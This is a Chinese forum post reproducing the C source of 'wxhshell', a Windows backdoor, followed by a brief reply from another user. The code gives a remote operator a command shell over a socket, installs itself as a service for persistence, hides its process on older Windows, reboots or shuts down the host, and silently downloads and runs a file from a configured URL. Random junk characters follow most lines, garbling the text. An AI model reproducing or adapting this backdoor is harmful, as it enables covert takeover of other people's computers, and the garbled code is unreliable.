  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I?X!v6  
  else  aX}:O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R4 AKp1Y  
  } ^"{txd?6  
  else { ZU K'z  
)uazB!X  
    switch(cmd[0]) { )^]1j$N=3  
  8dCa@r&tz  
  // 帮助 kpx2e2C|  
  case '?': { h ngdeGa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L@x#:s=  
    break; &pN/+,0E  
  } WmTg`[  
  // 安装 fl *>m,  
  case 'i': { M D,+>kh  
    if(Install()) R}0xWPt9G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Y%.m3  
    else tWa_-Un3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^k}%k#)  
    break; {Ax{N  
    } ;To][J  
  // 卸载 XHYVcwmDz-  
  case 'r': { +&qj`hA-b  
    if(Uninstall()) o 4cqLM u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P<MNwdf(+  
    else dZ{yNh.]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,+o*>fD  
    break; TW!>~|U)y  
    } woyeKOr  
  // 显示 wxhshell 所在路径 Hmv@7$9s\  
  case 'p': { ~]C m  
    char svExeFile[MAX_PATH]; qV7nF }V{  
    strcpy(svExeFile,"\n\r"); X~> 2iL  
      strcat(svExeFile,ExeFile); I7} o>{  
        send(wsh,svExeFile,strlen(svExeFile),0); %bZ}vJ5b  
    break; m)"wd$O^w  
    } Pj7n_&*/  
  // 重启 RJ~I?{yR0[  
  case 'b': { ]x^v;r~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MClvmv^  
    if(Boot(REBOOT)) , Vr'F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eG\`SKx_  
    else { 9xM7X?  
    closesocket(wsh); /8"9 sf *  
    ExitThread(0); NTy0NH  
    } |^T?5=&Kt  
    break; y)D7!s  
    } AA~6r[*~  
  // 关机 xZ(f_Oy  
  case 'd': { &C6Z{.3V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \zv?r :1t  
    if(Boot(SHUTDOWN)) d!#qBn$*[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x$;kA}gy  
    else { rBrJTF:.  
    closesocket(wsh); h?+bW'm  
    ExitThread(0); 9,>u,  
    } q<>aZ|r  
    break; h+d3JM  
    } A-5'OI  
  // 获取shell * v W#XDx  
  case 's': { V7q-Pfh!y  
    CmdShell(wsh); )Y 9JP@}T  
    closesocket(wsh); MrFi0G7u  
    ExitThread(0); 5@< D6>6  
    break; 6ujePi <U  
  } #P5tTCM  
  // 退出 ^E= w3g&  
  case 'x': { }.74w0~0^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e{fm7Cc)D  
    CloseIt(wsh); \A=:6R%Qb  
    break; 61=D&lb  
    } u!DAeE  
  // 离开 6%t>T~x  
  case 'q': { eZk4 $y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3PgiV%]  
    closesocket(wsh); zD%@3NA41  
    WSACleanup(); HL34pmc  
    exit(1); CH4 ~9mmE  
    break; Y!nxHRE  
        } ! C|VX,w  
  } |Y|gT*v  
  } lCC(N?%Q  
|}KNtIX\G  
  // 提示信息 Jrm 9,7/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z-;2)RkV2  
} c]!Yb-  
  } 0OAHD'  
uSU[Y,'x  
  return; RT$.r5l_@  
} M73d^z  
x9s1AzM{  
// shell模块句柄 YMfjTt@Q  
int CmdShell(SOCKET sock) \g<=n&S?  
{ W*/0[|n*  
STARTUPINFO si; J8:f9a:|M  
ZeroMemory(&si,sizeof(si)); wR*>9LjeG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6im!v<1Qx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Cp[ NVmN  
PROCESS_INFORMATION ProcessInfo; j& ~`wGM  
char cmdline[]="cmd"; 6|AD]/t^K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YH^h ?s  
  return 0; mH\eJ  
} 5^7q 2".  
L6E8A?>5rD  
// 自身启动模式 dzn[4  
int StartFromService(void) C=uYX"  
{ FEzjP$  
typedef struct ubZcpqm?Q  
{ /2#1Oi)o  
  DWORD ExitStatus; Ihn+_H u  
  DWORD PebBaseAddress; hA!kkNqV  
  DWORD AffinityMask; NsY D~n  
  DWORD BasePriority; 8fX<,*#I  
  ULONG UniqueProcessId; ?OFl9%\ V  
  ULONG InheritedFromUniqueProcessId; =vc8u&L2  
}   PROCESS_BASIC_INFORMATION; Gn7P` t*.  
mpysnKH  
PROCNTQSIP NtQueryInformationProcess; oo{3-+ ?  
ne (zGJd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TE!+G\@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PGaYYc3X  
g7r_jj%ow  
  HANDLE             hProcess; 1Zj NRg=  
  PROCESS_BASIC_INFORMATION pbi; Q>[Xm)jr:  
H 6~6hg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |NoTwK  
  if(NULL == hInst ) return 0; gvl3NQQ%t  
<4m@WG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z6+D=<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gV\{Qoj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Yl#|+xYA5[  
jJOs`'~Q\  
  if (!NtQueryInformationProcess) return 0; !0k'fYCa  
+'f+0T\)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~qP_1() ?  
  if(!hProcess) return 0; SV}C]<  
%zCV>D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eG05}  
isiehKkD  
  CloseHandle(hProcess); q+}KAk|]V  
^w(~gQ6|mP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); okv`+VeA  
if(hProcess==NULL) return 0; (Sd8S`xO  
ejjL>'G/|%  
HMODULE hMod; 1#m'u5L  
char procName[255]; B=p6p f  
unsigned long cbNeeded; q }'ww  
eK)R=M@i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mIy|]e`SJ  
b)1v:X4Bv=  
  CloseHandle(hProcess); ^+'[:rE  
qVDf98  
if(strstr(procName,"services")) return 1; // 以服务启动 zA g.,dA  
dr~6}S#  
  return 0; // 注册表启动 9z0G0QW[  
} 7u|X . X  
Z|k>)pv@  
// 主模块 t5"g9`AL  
int StartWxhshell(LPSTR lpCmdLine) UG5AF Z\  
{ "ytPS~  
  SOCKET wsl; m:  
BOOL val=TRUE; _hz}I>G@B  
  int port=0; V ~%C me  
  struct sockaddr_in door; a#L:L8T;j  
5zf bI  
  if(wscfg.ws_autoins) Install(); 4 [K"e{W3  
'Jl |-RUd  
port=atoi(lpCmdLine); 7}r6mr0vpm  
"7X[@xX@  
if(port<=0) port=wscfg.ws_port; {k"t`uo_  
ah9P C7[  
  WSADATA data; uihU)]+@t/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7kDqgod^A  
kQt#^pO)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   suF<VJ)&s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Wp2$L-T&$  
  door.sin_family = AF_INET; _< LJQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tP0\;W  
  door.sin_port = htons(port); E'ay @YAp  
;if PqL kO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N R0"yJV>  
closesocket(wsl); Ua2waA  
return 1; wS"`~Ql_  
} Dm+[cA"I  
*&nIxb60b{  
  if(listen(wsl,2) == INVALID_SOCKET) { Q dPqcw4+X  
closesocket(wsl); H,q-*Kk  
return 1; ;rqW?':(i  
} 9m+ejTK{U  
  Wxhshell(wsl); km,I75o.  
  WSACleanup(); d"0=.sA  
5ca!JLs  
return 0; CAT{)*xc  
5"WI^"6b:  
} f]C`]qg  
@yj$  
// 以NT服务方式启动 ,%X"Caz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Zb4+zps^-  
{ E3"j7y[S  
DWORD   status = 0; ][TA7pDPV  
  DWORD   specificError = 0xfffffff; + \jn$>E  
vXLGdv::  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Mc@_[q!xY?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6F8TiR&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vi; yT.  
  serviceStatus.dwWin32ExitCode     = 0; _X]\#^UiO2  
  serviceStatus.dwServiceSpecificExitCode = 0; 6'[gd  
  serviceStatus.dwCheckPoint       = 0; 4o69t  
  serviceStatus.dwWaitHint       = 0; ]]^r)&pox  
R}E$SmFg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &y&pjo6v1  
  if (hServiceStatusHandle==0) return; h2P&<ggqX  
o5;|14O  
status = GetLastError(); O/b1^ Y   
  if (status!=NO_ERROR) ?[#4WH-G  
{ m>{I>:sq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1/tyne=m  
    serviceStatus.dwCheckPoint       = 0; '(fzznRH  
    serviceStatus.dwWaitHint       = 0; "%rzL.</  
    serviceStatus.dwWin32ExitCode     = status; m 88(f2Ch  
    serviceStatus.dwServiceSpecificExitCode = specificError; pJo#7rxd6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [O@U@bD9  
    return; me YSW  
  } U_C[9Z'P  
O[j$n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H.]p\ UY9  
  serviceStatus.dwCheckPoint       = 0; 044Q>Qz,  
  serviceStatus.dwWaitHint       = 0; %% +@s   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h )% e  
} P/,ezVb=  
FG5YZrONx  
// 处理NT服务事件,比如:启动、停止 oEJxey]B7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O^DLp/vM  
{ fi  
switch(fdwControl) iit 5IV  
{ &~'^;hy=  
case SERVICE_CONTROL_STOP: otmyI;v 7<  
  serviceStatus.dwWin32ExitCode = 0; f64}#E|w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~sVbg$]\G  
  serviceStatus.dwCheckPoint   = 0; IO{iQ-Mg  
  serviceStatus.dwWaitHint     = 0; v`\CzT  
  { Mt*eC)~ Yx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CuFlI?~8 z  
  } _ 5/3RN  
  return; jP31K{G?  
case SERVICE_CONTROL_PAUSE: MZ:Ty,pw:O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lGXr-K?+Y  
  break; f3SAK!V+s  
case SERVICE_CONTROL_CONTINUE: 8E|FFHNK<2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4bq+(CI6  
  break; \F9HsR6  
case SERVICE_CONTROL_INTERROGATE: 6 g)X&pZ  
  break; j)mi~i*U  
}; ?OBB)hj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0~Iq9}{*P  
} G7k.YtW  
bW2Msv/H  
// 标准应用程序主函数 :a*F>S!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LM*m> n*  
{ :Tdl84   
,!bcm  
// 获取操作系统版本 SN5Z@kK  
OsIsNt=GetOsVer(); F$HL \y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GXwQ )P5]  
98Im/v  
  // 从命令行安装 SD.c 9  
  if(strpbrk(lpCmdLine,"iI")) Install(); K_}81|=  
^:2>I$  
  // 下载执行文件 b4CXif  
if(wscfg.ws_downexe) { (Eo#oX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D6:"k 2  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?MD\\gN  
} tg;AF<VI  
7 aN}l QM  
if(!OsIsNt) { 1Ba.'~:  
// 如果时win9x,隐藏进程并且设置为注册表启动 w -5_Ru  
HideProc(); ksV ^Y=]  
StartWxhshell(lpCmdLine); t]6 4=  
} )%bY2 pk  
else lTZcbaO?]  
  if(StartFromService()) xz){RkVzP  
  // 以服务方式启动 %iD'2e:  
  StartServiceCtrlDispatcher(DispatchTable); J\Z\q  
else TL@{yJ;s  
  // 普通方式启动 G\Q0{4w8  
  StartWxhshell(lpCmdLine); Mo&Po9  
$Hal]  
return 0; 24I~{Qy  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八